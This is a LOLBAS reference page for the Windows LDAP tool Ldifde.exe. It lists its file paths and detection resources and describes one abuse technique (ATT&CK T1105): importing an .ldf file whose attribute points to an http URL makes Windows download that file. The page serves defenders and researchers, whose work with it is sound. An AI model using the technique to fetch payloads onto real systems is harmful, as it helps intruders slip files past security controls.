LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Ldifde.exe

View source

Creates, modifies, and deletes LDAP directory objects.

Download
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.

COMMAND
Ldifde -i -f {PATH:.ldf}
USE CASE
Download file from Internet
PRIVILEGES
Administrator
OPERATING SYSTEM
Windows Server with AD Domain Services role, Windows 10 with AD LDS role.
02 / ON DISK

Known paths

c:\windows\system32\ldifde.exe
c:\windows\syswow64\ldifde.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Grzegorz Tworek@0gtweet